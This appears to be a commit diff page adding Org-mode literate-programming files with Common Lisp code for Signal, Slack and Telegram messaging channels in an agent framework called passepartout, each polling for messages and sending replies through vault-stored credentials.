||||
|
||||
* Channel Signal
|
||||
|
||||
Extracted from gateway-messaging in v0.5.0. Isolated platform — Signal-specific poll and send logic.
|
||||
|
||||
* Overview
|
||||
|
||||
The Signal channel provides bidirectional communication via the ~signal-cli~ CLI tool.
|
||||
Messages received from Signal contacts are injected into the cognitive pipeline
|
||||
as ~:user-input~ signals with ~:source :signal~. Outbound messages route through
|
||||
the actuator registry when the pipeline targets ~:signal~.
|
||||
|
||||
The channel uses two functions: ~signal-poll~ (inbound sensor) and ~signal-send~
|
||||
(outbound actuator). Both retrieve the Signal account identifier from the
|
||||
credentials vault. HITL commands (~/approve~, ~/deny~) are intercepted before
|
||||
injection so approval flows work identically across all channels.
|
||||
|
||||
** Contract
|
||||
|
||||
1. (signal-get-account): returns the Signal phone number from the vault
|
||||
(via ~vault-get-secret :signal~), or nil if not configured.
|
||||
2. (signal-poll): queries ~signal-cli receive --json~ for new messages,
|
||||
injects each non-system message as a ~:user-input~ stimulus with
|
||||
~:source :signal~. Handles JSON parse failures and network errors
|
||||
gracefully (logs and continues). HITL commands are intercepted before
|
||||
injection.
|
||||
3. (signal-send action context): sends a message via ~signal-cli send~.
|
||||
Extracts ~:chat-id~ and ~:text~ from the action plist. Logs send
|
||||
failures without crashing the pipeline.
|
||||
|
||||
* Implementation
|
||||
|
||||
#+begin_src lisp
|
||||
(in-package :passepartout)
|
||||
(defun signal-get-account ()
|
||||
(vault-get-secret :signal))
|
||||
|
||||
(defun signal-poll ()
|
||||
"Polls Signal for new messages and injects them into the harness."
|
||||
(let ((account (signal-get-account)))
|
||||
(when account
|
||||
(handler-case
|
||||
(let* ((output (uiop:run-program (list "signal-cli" "-u" account "receive" "--json")
|
||||
:output :string :error-output :string :ignore-error-status t))
|
||||
(lines (cl-ppcre:split "\\\\n" output)))
|
||||
(dolist (line lines)
|
||||
(when (and line (> (length line) 0))
|
||||
(let* ((json (ignore-errors (cl-json:decode-json-from-string line)))
|
||||
(envelope (cdr (assoc :envelope json)))
|
||||
(source (cdr (assoc :source envelope)))
|
||||
(data-message (cdr (assoc :data-message envelope)))
|
||||
(text (cdr (assoc :message data-message))))
|
||||
(when (and source text)
|
||||
(log-message "SIGNAL: Received message from ~a" source)
|
||||
(unless (ignore-errors (hitl-handle-message text :signal))
|
||||
(stimulus-inject
|
||||
(list :type :EVENT
|
||||
:meta (list :source :signal :chat-id source)
|
||||
:payload (list :sensor :user-input :text text)))))))))
|
||||
(error (c) (log-message "SIGNAL POLL ERROR: ~a" c))))))
|
||||
|
||||
(defun signal-send (action context)
|
||||
"Sends a message via Signal."
|
||||
(declare (ignore context))
|
||||
(let* ((payload (getf action :payload))
|
||||
(meta (getf action :meta))
|
||||
(chat-id (or (getf meta :chat-id) (getf payload :chat-id) (getf action :chat-id)))
|
||||
(text (or (getf payload :text) (getf action :text)))
|
||||
(account (signal-get-account)))
|
||||
(when (and account chat-id text)
|
||||
(handler-case
|
||||
(uiop:run-program (list "signal-cli" "-u" account "send" "-m" text chat-id)
|
||||
:output :string :error-output :string)
|
||||
(error (c) (log-message "SIGNAL ERROR: ~a" c))))))
|
||||
#+end_src
|
||||
|
||||
|
||||
#+end_src
|
||||
86
org/channel-slack.org
Normal file
86
org/channel-slack.org
Normal file
@@ -0,0 +1,86 @@
|
||||
#+TITLE: Channel Slack (channel-slack.org)
|
||||
#+AUTHOR: Agent
|
||||
#+FILETAGS: :channel:slack:
|
||||
#+PROPERTY: header-args:lisp :tangle ../lisp/channel-slack.lisp
|
||||
|
||||
* Channel Slack
|
||||
|
||||
Extracted from gateway-messaging in v0.5.0. Isolated platform — Slack-specific poll and send logic.
|
||||
|
||||
* Overview
|
||||
|
||||
The Slack channel provides bidirectional communication via the Slack Web API
|
||||
(chat.postMessage for outbound, conversations.history for inbound polling).
|
||||
Messages from Slack channels are injected into the cognitive pipeline as
|
||||
~:user-input~ signals with ~:source :slack~. Outbound messages route through
|
||||
the actuator registry when the pipeline targets ~:slack~.
|
||||
|
||||
The channel uses two functions: ~slack-poll~ (inbound sensor) and ~slack-send~
|
||||
(outbound actuator). Both retrieve the bot token from the credentials vault.
|
||||
HITL commands are intercepted before injection so approval flows work identically
|
||||
across all channels.
|
||||
|
||||
** Contract
|
||||
|
||||
1. (slack-get-token): returns the Slack bot token from the vault
|
||||
(via ~vault-get-secret :slack~), or nil if not configured.
|
||||
2. (slack-poll): polls configured channels via conversations.history,
|
||||
injects each non-bot message as a ~:user-input~ stimulus with
|
||||
~:source :slack~. Handles API errors gracefully. HITL commands are
|
||||
intercepted before injection.
|
||||
3. (slack-send action context): sends a message via chat.postMessage.
|
||||
Extracts ~:channel-id~ and ~:text~ from the action plist. Uses Bearer
|
||||
token authentication. Logs send failures without crashing the pipeline.
|
||||
|
||||
* Implementation
|
||||
|
||||
#+begin_src lisp
|
||||
(in-package :passepartout)
|
||||
(defun slack-get-token ()
|
||||
(vault-get-secret :slack))
|
||||
|
||||
(defun slack-send (action context)
|
||||
"Sends a message via Slack Web API."
|
||||
(declare (ignore context))
|
||||
(let* ((payload (getf action :payload))
|
||||
(meta (getf action :meta))
|
||||
(channel (or (getf meta :channel-id) (getf payload :chat-id)))
|
||||
(text (or (getf payload :text) (getf action :text)))
|
||||
(token (slack-get-token)))
|
||||
(when (and token channel text)
|
||||
(handler-case
|
||||
(dex:post "https://slack.com/api/chat.postMessage"
|
||||
:headers `(("Authorization" . ,(format nil "Bearer ~a" token))
|
||||
("Content-Type" . "application/json; charset=utf-8"))
|
||||
:content (cl-json:encode-json-to-string
|
||||
`((channel . ,channel) (text . ,text))))
|
||||
(error (c) (log-message "SLACK ERROR: ~a" c))))))
|
||||
|
||||
(defun slack-poll ()
|
||||
"Polls Slack for new messages via conversations.history."
|
||||
(let* ((token (slack-get-token)))
|
||||
(when token
|
||||
(dolist (channel '("general")) ;; configured channel IDs
|
||||
(handler-case
|
||||
(let* ((url (format nil "https://slack.com/api/conversations.history?channel=~a&limit=5" channel))
|
||||
(response (dex:get url :headers
|
||||
`(("Authorization" . ,(format nil "Bearer ~a" token))))))
|
||||
(let* ((json (ignore-errors (cl-json:decode-json-from-string response)))
|
||||
(ok (cdr (assoc :ok json)))
|
||||
(messages (cdr (assoc :messages json))))
|
||||
(when (and ok messages (listp messages))
|
||||
(dolist (msg messages)
|
||||
(let* ((text (cdr (assoc :text msg)))
|
||||
(user (cdr (assoc :user msg)))
|
||||
(ts (cdr (assoc :ts msg))))
|
||||
(when (and text user (not (string= user "USLACKBOT")))
|
||||
(unless (ignore-errors (hitl-handle-message text :slack))
|
||||
(stimulus-inject
|
||||
(list :type :EVENT
|
||||
:meta (list :source :slack :chat-id channel)
|
||||
:payload (list :sensor :user-input :text text))))))))))
|
||||
(error (c) (log-message "SLACK POLL ERROR: ~a" c)))))))
|
||||
#+end_src
|
||||
|
||||
|
||||
#+end_src
|
||||
90
org/channel-telegram.org
Normal file
90
org/channel-telegram.org
Normal file
@@ -0,0 +1,90 @@
|
||||
#+TITLE: Channel Telegram (channel-telegram.org)
|
||||
#+AUTHOR: Agent
|
||||
#+FILETAGS: :channel:telegram:
|
||||
#+PROPERTY: header-args:lisp :tangle ../lisp/channel-telegram.lisp
|
||||
|
||||
* Channel Telegram
|
||||
|
||||
Extracted from gateway-messaging in v0.5.0. Isolated platform — Telegram-specific poll and send logic.
|
||||
|
||||
* Overview
|
||||
|
||||
The Telegram channel provides bidirectional communication via the Telegram Bot
|
||||
API. Messages from Telegram chats are injected into the cognitive pipeline as
|
||||
~:user-input~ signals with ~:source :telegram~. Outbound messages route through
|
||||
the actuator registry when the pipeline targets ~:telegram~.
|
||||
|
||||
The channel uses two functions: ~telegram-poll~ (inbound sensor, getUpdates
|
||||
with offset tracking) and ~telegram-send~ (outbound actuator, sendMessage).
|
||||
Both retrieve the bot token from the credentials vault. The polling offset
|
||||
(~:last-update-id~ in ~*gateway-configs*~) prevents duplicate processing across
|
||||
poll cycles. HITL commands are intercepted before injection so approval flows
|
||||
work identically across all channels.
|
||||
|
||||
** Contract
|
||||
|
||||
1. (telegram-get-token): returns the Telegram bot token from the vault
|
||||
(via ~vault-get-secret :telegram~), or nil if not configured.
|
||||
2. (telegram-poll): polls getUpdates with offset tracking (prevents
|
||||
duplicate processing), injects each message as a ~:user-input~ stimulus
|
||||
with ~:source :telegram~. Updates ~:last-update-id~ per cycle. Handles
|
||||
API and JSON parse errors gracefully. HITL commands are intercepted
|
||||
before injection.
|
||||
3. (telegram-send action context): sends a message via sendMessage.
|
||||
Extracts ~:chat-id~ and ~:text~ from the action plist. Logs send
|
||||
failures without crashing the pipeline.
|
||||
|
||||
* Implementation
|
||||
|
||||
#+begin_src lisp
|
||||
(in-package :passepartout)
|
||||
(defun telegram-get-token ()
|
||||
(vault-get-secret :telegram))
|
||||
|
||||
(defun telegram-poll ()
|
||||
"Polls Telegram for new messages and injects them into the harness."
|
||||
(let* ((token (telegram-get-token)))
|
||||
(when token
|
||||
(let* ((last-id (getf (gethash "telegram" *gateway-configs*) :last-update-id 0))
|
||||
(url (format nil "https://api.telegram.org/bot~a/getUpdates?offset=~a"
|
||||
token (1+ last-id))))
|
||||
(handler-case
|
||||
(let* ((response (dex:get url))
|
||||
(json (cl-json:decode-json-from-string response))
|
||||
(updates (cdr (assoc :result json))))
|
||||
(dolist (update updates)
|
||||
(let* ((update-id (cdr (assoc :update--id update)))
|
||||
(message (cdr (assoc :message update)))
|
||||
(chat (cdr (assoc :chat message)))
|
||||
(chat-id (cdr (assoc :id chat)))
|
||||
(text (cdr (assoc :text message))))
|
||||
(setf (getf (gethash "telegram" *gateway-configs*) :last-update-id) update-id)
|
||||
(when (and text chat-id)
|
||||
(log-message "TELEGRAM: Received message from ~a" chat-id)
|
||||
(unless (ignore-errors (hitl-handle-message text :telegram))
|
||||
(stimulus-inject
|
||||
(list :type :EVENT
|
||||
:meta (list :source :telegram :chat-id (format nil "~a" chat-id))
|
||||
:payload (list :sensor :user-input :text text))))))))
|
||||
(error (c) (log-message "TELEGRAM POLL ERROR: ~a" c)))))))
|
||||
|
||||
(defun telegram-send (action context)
|
||||
"Sends a message via Telegram."
|
||||
(declare (ignore context))
|
||||
(let* ((payload (getf action :payload))
|
||||
(meta (getf action :meta))
|
||||
(chat-id (or (getf meta :chat-id) (getf payload :chat-id) (getf action :chat-id)))
|
||||
(text (or (getf payload :text) (getf action :text)))
|
||||
(token (telegram-get-token)))
|
||||
(when (and token chat-id text)
|
||||
(handler-case
|
||||
(let ((url (format nil "https://api.telegram.org/bot~a/sendMessage" token)))
|
||||
(dex:post url
|
||||
:headers '(("Content-Type" . "application/json"))
|
||||
:content (cl-json:encode-json-to-string
|
||||
`((chat_id . ,chat-id) (text . ,text)))))
|
||||
(error (c) (log-message "TELEGRAM ERROR: ~a" c))))))
|
||||
#+end_src
|
||||
|
||||
|
||||
#+end_src
|
||||
1372
org/channel-tui-main.org
Normal file
1372
org/channel-tui-main.org
Normal file
File diff suppressed because it is too large
Load Diff
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user